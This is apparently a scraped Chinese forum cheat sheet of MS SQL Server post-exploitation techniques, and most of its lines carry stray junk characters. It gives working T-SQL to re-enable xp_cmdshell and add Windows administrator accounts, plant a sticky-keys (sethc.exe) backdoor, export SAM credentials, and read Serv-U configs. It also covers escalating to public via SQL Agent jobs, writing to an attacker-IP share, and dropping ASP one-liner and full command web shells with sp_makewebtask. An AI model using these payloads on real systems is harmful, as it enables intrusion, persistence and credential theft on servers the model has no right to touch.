1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号8 n9 s* v1 c3 c& L9 v7 f
恢复方法:查询分离器连接后,
9 X0 h' V2 Q4 W5 k第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
. s* ~1 v$ b S) z第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 3 D- C+ V/ j; O
然后按F5键命令执行完毕$ x: X# U# o, T9 K" j; B: X
& [% R1 i& F" S1 S9 k+ L2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
% s# z7 P; c( z f2 Z恢复方法:查询分离器连接后,
! q2 G. v3 R; f第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"( \' N% `$ h# U
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'0 b; |4 ?# v' Z; C7 z
然后按F5键命令执行完毕* K. }: W6 u6 K' R% a8 @
1 I$ I, d: y- X8 o$ y" l
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)4 G% H, O+ i8 p& s" r) Z
恢复方法:查询分离器连接后,4 g$ o8 H+ D* s5 l+ [
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
! ?! C; J6 W( p; ^4 i! @, n第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' , Y) v: H8 x% j- ?2 k* _
然后按F5键命令执行完毕
. R k7 m) {5 X& h5 F2 e
8 {, @- x# c/ l' }" _- M ^8 l4 终极方法.
- i L8 b* F2 T5 o+ W. j' |! N8 X& B如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
: c# E( H0 e6 ]* C# K) t查询分离器连接后,
/ d! m9 a3 @. D- R0 Z# J7 ?( @1 e2000servser系统:2 ^/ W! y9 Z. w4 o% g! w1 K; A2 S
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'( w+ R8 k0 E* C" }* H7 g" l' S
& q+ f2 h! Q8 `8 adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'$ Z) x) d4 E U$ P$ ]7 q# t
: s, N% l8 Y# I9 E1 i! Rxp或2003server系统:2 w4 j# F+ n; F& U
( {# Q1 d0 a$ B9 a
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'( U7 @7 t3 F3 [7 B2 d
- o9 \" b" c1 p+ Q
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'5 ^. Y0 J: v# U! r( t# d. U3 }
& t0 e( ]% [2 k1 r; l$ o! A
* {* E- `# y; y( `1 {
五个SHIFT7 n! H% g b7 c
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';- ~8 ?7 e0 F" U/ ~2 \
) K' V9 p) G U; T; X. [1 p: |( C" w
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
6 n5 @/ Q# {2 L# F% [9 t8 h4 W% u4 I1 P1 x
xp_cmdshell执行命令另一种方法
; t7 @8 R9 `. C7 x5 ]declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
" v# J/ q$ L' B7 h# W
, U6 W$ n0 y2 G判断存储扩展是否存在2 W# N, \+ T# f6 c# C$ c8 ~% N
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
& P* s7 l/ ^0 _/ p5 Y0 y返回结果为1就OK$ N: e7 J9 Z; {4 b ^. y
% e, W4 P, M- R' w) \0 j, c- t5 G3 a5 e5 [" w V
上传xplog70.dll恢复xp_cmdshell语句:
0 ~+ T$ y8 p8 q: Osp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
. v$ p8 @/ n" ]8 u" P1 a) D- I6 K" h8 Q$ H; [" N
否则上传xplog7.0.dll4 Q( B* l0 q5 V: B
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
% B7 ^# k7 F2 |" }0 ^4 L0 ]5 R' d! \ i' g3 o( V$ o
6 R6 f3 [: v8 u! R
/ O% H. J. V; [- w首先开启沙盘模式:
& I" b! J6 X) Oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',11 S/ ], X p7 @ S( B
+ N+ s" n; k% A/ C, J然后利用jet.oledb执行系统命令
' T; O; ]6 o" }7 o% E$ eselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')7 T% R& _+ A% x( X( T' s
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了& J, u; j5 C. A. E+ P I
5 f. W& ]- N( \
. a' E1 C1 C2 T$ k& |6 q+ d9 ~" N' E" V) \
恢复过程sp_addextendedproc 如下: 4 e) ~& U+ I. c
create procedure sp_addextendedproc --- 1996/08/30 20:13
5 s0 r# t1 V! P; z@functname nvarchar(517),/* (owner.)name of function to call */ 2 @4 u! A; H. T" v
@dllname varchar(255)/* name of DLL containing function */ 6 L$ Y$ G; G$ u" V
as ; t n4 w. K" p4 g5 f
set implicit_transactions off 3 S6 ~7 D) \. }; e
if @@trancount > 0 6 P L3 |; @- I% I s5 f* _' H
begin
! H, ~$ V) C, O2 t' s7 s" X0 ]0 Eraiserror(15002,-1,-1,'sp_addextendedproc')
9 j$ R, u, Y) y% Areturn (1)
& k$ |2 g1 {+ m* M5 B$ Hend 3 X1 Z" R6 ~- r/ {
dbcc addextendedproc( @functname, @dllname)
8 T1 ?/ e/ b4 A$ N, oreturn (0) -- sp_addextendedproc 8 N' F. R5 B$ _- d: ]+ W% B
GO
6 C' R4 ~8 @6 r. ?: I) B) [% k) N# O5 j' {/ Q+ S% Y. E/ d
9 u S1 C; l0 n: W
: U3 T$ W- J+ l导出管理员密码文件
; K. v2 { l4 j/ n6 }sa默认可以读sam键.应该。, ^$ y, s4 C5 k# Z- Y1 k/ y
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
" P3 L0 ~% }% ]# s4 r6 @. [$ j! {net user administrator test
: M) ^* F2 E# _% G% f+ h用administrator登陆.$ F4 J; e, D0 V" w9 M
用完机器后
$ U, |, t& C5 @+ j' e# [reg import c:\test.reg
: U: u3 h- X) f: v5 x根本不用克隆.# N# _% }! V4 z
找到对应的sid.
/ g- |: T' T5 Y( F2 v
; k( A4 n8 n5 |7 |7 _( O9 z, t4 D( D1 p0 @0 O5 H
4 F. a h- @& c" `
恢复所有存储过程% k$ }4 b* q; F. e- V& N2 A
use master 7 O9 k1 ?3 \0 d! E, b" Q9 t
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' J! V' t/ m) r" h& K
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 8 v( y! Y- R& Y
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 3 K" z. j) R& g: }
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' ) H" c" N$ G" E7 g+ s: _
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
( S2 B; z3 m- Z% G7 ?2 z4 Rexec sp_addextendedproc sp_OACreate,'odsole70.dll'
8 h) k s4 P0 r# C4 F( W( |exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 2 i& J" D$ m1 u6 \
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
5 z! u8 v4 N: M+ I, kexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' $ e/ |& {/ w+ q E0 D4 X8 O
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' / H7 P' }# B+ R D
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
$ H* G, O: S7 K; yexec sp_addextendedproc sp_OAStop,'odsole70.dll' * }' e5 L1 Q& p; @& l# ]6 K: G( `
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
+ V$ x* N& [7 X# f9 ~exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' $ R# u u% F: y; X
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
l4 n! x' n" Lexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 9 H5 P3 l& q2 q+ l! x$ H! y
exec sp_addextendedproc xp_regread,'xpstar.dll'
$ x; e0 p5 U$ t/ I& V. ?' Aexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 4 F* `- G( v7 b' |! ~. N6 u' q) r
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 7 O$ m: V3 _3 k5 `2 M( g# _
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
4 x6 ^" Z8 {; u* Z9 G, d+ ?2 }4 G% `' W! l) `% \* G
9 {6 H; Q' b G8 I3 R7 g& A+ K$ {
建立读文件的存储过程
3 B0 S; e& Q6 z6 Y0 B* E4 VCreate proc sp_readTextFile @filename sysname% p9 G. ^! E4 T7 K/ d9 T: v! n
as i2 T# |6 a2 R& J) @
& i* I7 W! a: X, Y begin
% {( S2 D8 @' ?2 F3 o) l set nocount on
8 `8 A5 g9 P$ m4 J2 v8 l$ j4 Y0 L Create table #tempfile (line varchar(8000))
' x: n, I8 k) N% `' Q exec ('bulk insert #tempfile from "' + @filename + '"')) W& u- A1 k Y3 o
select * from #tempfile- w P' ?8 i& j" i% Y' |) Z# b
drop table #tempfile9 O! j! h J: {2 A% x9 c" j3 T
End
' |& m) g1 I: g
0 Z/ ~4 D) S! n! H3 K" B" E& ~exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件- f, W5 X2 R0 H0 Y1 O( y3 ?
查看登录用户: I! Q- n* }$ \8 k8 f+ n0 c
Select * from sysxlogins' \; l4 v2 \& g
/ E/ a1 h' A5 G, u8 a; Y1 X7 a! l
把文件内容读取到表中
: R* C" c, V& O* d! rBULK INSERT tmp from "c:\test.txt"
% U5 ~1 D' c' g1 a. IdElete from 表名 清理表里的内容
7 r9 l% x' t# i/ gcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
) l, c1 C, Q+ F
4 p/ `8 T1 A/ C5 n# G
+ w9 L4 x% O% \% j% F; p5 J/ V加sa用户0 Y( I8 u/ ^/ H; R; M. x
exec master.dbo.sp_addlogin user,pass;, G; F9 b# {8 t( c9 W
exec master.dbo.sp_addsrvrolemember user,sysadmin$ s, E# x, \2 R! i3 y
" n9 M# Z, \; F) e- }; m- j5 Z7 v
! C* j) R7 V4 f) k
2 }+ G7 ~0 M/ K3 F, k5 ~读文件代码
5 P) J, g, I" ^: g- Odeclare @o int, @f int, @t int, @ret int0 V1 o, ? Z" A* F& J
declare @line varchar(8000)* r! r2 j& t/ N6 I; ?3 _
exec sp_oacreate 'scripting.filesystemobject', @o out3 g; Z9 I% v. A- k: S7 E
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1' v5 [& a& c! `$ b
exec @ret = sp_oamethod @f, 'readline', @line out- v. z) B5 ~( ~0 h/ Q& ?8 {5 D
while( @ret = 0 )
0 J! J. E8 O. b1 m$ X8 ^% Abegin4 k/ G% H; n7 h7 Y
print @line+ _ I9 w0 h8 i/ Q
exec @ret = sp_oamethod @f, 'readline', @line out, c7 b3 j S- G. ?$ R6 X5 f6 P
end
! G" L0 i: v8 `
0 u5 q" F4 T+ J" K( f+ Y* J L
" N7 [8 k" H; J写文件代码:; F1 i1 K5 J5 D0 Y+ b) d
declare @o int, @f int, @t int, @ret int# [3 h0 h# T. d7 i/ v: t
exec sp_oacreate 'scripting.filesystemobject', @o out0 I# l) I9 c- T+ i+ v+ I% m
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
2 Z* F0 P8 s8 a- ?exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
$ M- z: T+ g" D5 Q5 @; j2 i1 C' I9 u* @( G
0 @* V j0 j* \/ v; c添加lake2 shell
2 a. u8 S) b( y' k0 vsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'! A- r ~. {" c) H& |; H) `
sp_dropextendedproc xp_lake2* i2 a# S! z( ?8 E- B' R
EXEC xp_lake2 'net user'
) f& E5 o6 j2 l! p8 z1 }" X6 C( Q8 y) m$ ~
, X8 h7 X0 A3 X0 B0 A9 h
得到硬盘文件信息 * ~! Y! A6 g4 z. m' T; e
--参数说明:目录名,目录深度,是否显示文件
; t, l& S! s* f& f! Eexecute master..xp_dirtree 'c:' / T: b% h0 }( ?: d' A. j7 S
execute master..xp_dirtree 'c:',1
8 `4 d: h$ g% U4 N( o1 @execute master..xp_dirtree 'c:',1,1 + C+ G: Z' Y* |9 E; V6 V( v4 d
p. Q6 e0 {0 s$ F% B7 u; _. A1 L
: n8 k) {; p( j5 G
读serv-u配置信息
% v' z G0 {6 {3 f/ e2 z% Yexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
5 _' ?# p6 I$ u7 i9 Cexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
# L! M. I5 f% a" `8 {6 D( O7 X' [
9 @5 l3 t/ s$ n0 ^6 _8 P通过xp_regwrite写SHIFT后门
6 {7 B' z1 B' K4 w5 e1 Aexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--/ g- x9 B7 [/ z: i5 D! z& C9 D
. F( Y4 o/ `9 Q$ @3 J% J2 a- m( P7 u" J' {+ J2 @
1 E2 J, [8 L# u" p( ]找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';2 p0 I- m/ N2 n+ i
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
& I5 [+ \7 F8 i/ T- W
3 m; ]2 e# C7 L" f8 ~& j+ kEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
8 P; `, B) D1 ]% T
2 U: P1 R' n! X1 @ H7 W& v; g/ G0 Y5 s R5 s8 y4 Q, E4 {
2 G9 m# k" H c9 A" Lsql server 2005下开启xp_cmdshell的办法
- \4 i/ S! \; l5 W$ E. w+ j5 ^7 S4 P1 D. o7 J& p- c
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
8 N. V/ ]& s1 b; N" s1 b& x
! W9 O+ L7 a* f1 h2 i- fSQL2005开启'OPENROWSET'支持的方法:
1 D' p( _3 e" o( u3 u, s, p6 S
) I: R* H! ]3 p. a3 x* i: S; Uexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;4 g& Y# O# R) l- T# \
* k8 e9 x0 l. Q/ u" q
SQL2005开启'sp_oacreate'支持的方法:
1 Z* ~8 V: `9 b
3 F' j* z7 ^: q* \, Z3 J, d* Jexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;* W8 y, q- y. J8 b+ G( c! k* h+ }
& R* r" y; l% l9 x) V+ p/ c
+ `* e+ x* e( i3 e* ~- x' l3 ]: E: @0 Y+ T
6 N! ? P/ V9 _" e# C) @
1 ]. Z+ S" f7 ]5 g1 y
3 B6 S6 s5 _# q' B. j2 u( V3 b
& [" q5 k& @5 D5 W$ _
" Z, |, n" t1 M1 z/ n) j; a, I- ?/ Z/ c9 ^: ^8 O$ Z- `6 J
: {7 p2 m8 y5 \ N7 b+ d; q; A8 \% C2 B, }6 _( x& M* v" b+ z
( ^9 ~/ p% h. u6 A/ @! h
" F/ _1 N! N6 ^6 n9 `( B# c
8 T" T5 a3 T/ k* N; N4 a, z3 [" c% `
) M6 R/ }0 c4 s/ i5 R. v
# G- i6 _% j& W( r) @) g1 U9 q2 R6 s$ ]' ~
6 V& x5 V+ ?+ E$ b! d! D1 e9 O% r
, y. b# _$ y) o+ T' _! y& y. V
9 u- F7 n5 V- r- g
0 e- L0 [: c9 C
' Z+ Z% o, x/ p% B0 ~+ z; X7 o2 Q
以下方面不知道能不能成功暂且留下研究哈:
4 }+ _/ m: v0 N4)
, V% {- w/ r- o2 m8 K& g; x: i; yuse msdb; --这儿不要是master哟% G, s! a y% y: a8 E6 R8 x
exec sp_add_job @job_name= czy82 ;' e* o& v- t7 Q
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
8 K2 v0 y" C3 o; _, s- Xexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;( {' ~( _" r5 v& m, w, F1 ]
exec sp_start_job @job_name= czy82 ;/ i( [) i/ C: c9 c* R2 z w
3 Z2 q9 L2 Z4 P利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以3 y! A$ ~, n; E6 [) i
执行tsql语句了.
9 L& E' J; ~8 S对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
( u f: u; D8 j+ W# }第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)9 G& U3 W( @1 Z0 C- I
net start SQLSERVERAGENT- s) D2 H5 U; F3 r3 Z9 O5 G
5 l6 M( z, c; Y, V Q" b1 G c
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的+ e# W0 {* c% ?+ R4 g H( @
USE msdb
9 c$ |4 w) I: _" B/ IEXEC sp_add_job @job_name = GetSystemOnSQL ,
M3 M% L( G, }1 y( K% g6 N9 G3 ~@enabled = 1,: s* {# A! u+ j; K B
@description = This will give a low privileged user access to
' G3 }/ y% N, {3 r ^+ Mxp_cmdshell ,
6 N6 \# s+ R% k@delete_level = 1. U. i& n' E' L, l4 n. E
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
4 g9 c/ B0 }3 P( E2 ^% S@step_name = Exec my sql ,: {" l) \+ G, D1 R
@subsystem = TSQL ,* j; Q: e0 p7 z$ M9 D* a
@command = exec master..xp_execresultset N select exec
/ A* ~& A; g1 s+ }6 Cmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
' s) I6 S9 F" a. C1 R5 VEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,8 ]% i8 T; f# N
@server_name = 你的SQL的服务器名
1 D; W8 G8 x- V( FEXEC sp_start_job @job_name = GetSystemOnSQL
g l& G( r1 w+ Q' _6 o
9 V+ c1 J' E) @不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
) |1 I$ j& z1 n% ~4 i. N才让我们可以以public执行xp_cmdshell m# _8 q) m! Q% t' R2 c
, {* A `8 V) j. _" l5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以); A/ m; I9 \ U
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
, {3 I, @4 V9 G0 g. G% m
, A1 E+ u0 d% {( A0 HUSE msdb
1 x, @! Y. F. G9 p$ x$ @9 L4 MEXEC sp_add_job @job_name = ArbitraryFilecreate ,
6 _1 P8 u$ L) R9 j; C8 l' `- {+ ?@enabled = 1,# [4 r8 N; w" t: {0 X
@description = This will create a file called c:\sqlafc123.txt ,, t1 Z* \0 [# u
@delete_level = 1
0 u" A% f, a4 b' ?, kEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,% V, V) a: B, T( L7 Q8 n2 t5 I
@step_name = SQLAFC ,9 U& V: n( l6 V6 d$ c/ J
@subsystem = TSQL , Q0 Q- ~( h6 B: q
@command = select hello, this file was created by the SQL Agent. ,
. S. V D: V) @& c: \( c" I@output_file_name = c:\sqlafc123.txt
5 g- X9 B5 u: B! N4 @EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,& J! \- X' }* |9 y, [. V! c' ^2 T
@server_name = SERVER_NAME
0 y W& ?, V( a0 XEXEC sp_start_job @job_name = ArbitraryFilecreate " t) W, w8 q' ~4 C+ h, ^4 Z% l
8 b: W1 E( E Y4 ]6 X0 h如果subsystem选的是:tsql,在生成的文件的头部有如下内容
% H3 d7 `# h/ @7 _6 i( n4 x5 |- n5 v2 t+ _& w3 H3 p
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
( W/ g) p1 W- C6 z5 C' u' S7 Z----------------------------------------------# O6 a8 c. R- t; h5 `- Z) N
hello, this file was created by the SQL Agent.7 ?5 h! n' q4 o+ u% E
9 E8 d' x R! a+ ~: ]% S(1 ?????)" B/ c( F7 X9 S# r, M
, w: ]5 F) P% _8 a
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员+ W$ R7 V) I# ]
命令的vbs文件到启动目录!# w0 S7 j/ A3 g" I) |6 h
y H: l1 [* v! `
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)8 o& `4 X1 i- Q) p
关于sp_MScopyscriptfile 看下面的例子: g) [& u* _8 q2 c/ [$ V v
declare @command varchar(100) + w+ @" O( A! y- s7 m' y) T* {2 p
declare @scripfile varchar(200) ! t& ^* H8 S# t+ L; G, Y
set concat_null_yields_null off 1 m: n9 V b- m% R4 o7 e, T7 T
select @command= dir c:\ > "\\attackerip\share\dir.txt"
5 I2 i8 _9 o7 B+ n2 _% \select @scripfile= c:\autoexec.bat > nul" | @command | rd "
& f6 H3 Y' R; Q9 F, Gexec sp_MScopyscriptfile @scripfile ,
5 i/ T; Q8 }" ?
$ Z" ?! B4 V3 R/ s% R* j这两个东东都还在测试试哟
& d* `' k* t) D+ S, h8 h2 M4 g, T让MSSQL的public用户得到一个本机的web shell 3 Q- @5 p% \& }8 f% m% b
. a! h6 S! j$ `0 K) V; B! msp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312, {7 H: t# [, v1 h3 |
--@query= select <img src=vbscript:msgbox(now())>
& N$ G" n/ s0 C--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 7 i+ a7 z; ~& [: d; w% O( l
@query= select ^; Q" |9 A3 T5 r ^
<%On Error Resume Next 8 z n. p( D2 Y7 q; Y
Set oscript = Server.createObject("wscript.SHELL") 4 c; P& y' O0 z5 C7 M
Set oscriptNet = Server.createObject("wscript.NETWORK") 6 b* J/ d$ {' c) z9 l
Set oFileSys = Server.createObject("scripting.FileSystemObject")
% ~" a( A( L9 ^szCMD = Request.Form(".CMD") ' F, A X( a& q' P3 j) O6 U
If (szCMD <>"")Then 8 O9 ]( m5 p! v+ l3 x* m
szTempFile = "C:\" & oFileSys.GetTempName()
/ w4 `( u: b6 e' S0 yCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
" E/ Q& R. a5 l8 c" M" ZSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 4 d. Q6 O+ Q5 ~$ n0 n3 W
End If %>
3 Q, x# L. D4 N9 V5 m/ u<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
+ z8 i6 {6 n4 x; B% L3 i<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
: d3 d5 z$ g; U* n3 t( w6 U% Q</FORM>< RE>
5 c/ P- I1 D: m ^, r" U6 X9 c<% If (IsObject(oFile))Then # D7 H; T/ o2 ]1 ?! q0 M2 ?1 R
On Error Resume Next
}0 _4 G3 |: w K7 g/ I& WResponse.Write Server.HTMLEncode(oFile.ReadAll)
- f' \" l% G8 g7 c* Y$ [6 [oFile.Close
. d P0 H; |, B% w; t) xCall oFileSys.deleteFile(szTempFile, True) : A, U% D+ d! Y; r
End If%> , c; U( k+ P7 J0 L2 ~' P9 k/ j3 M* J
</BODY></HTML> : i) h8 ^4 v4 B4 _2 f s& k) l7 r- ^
|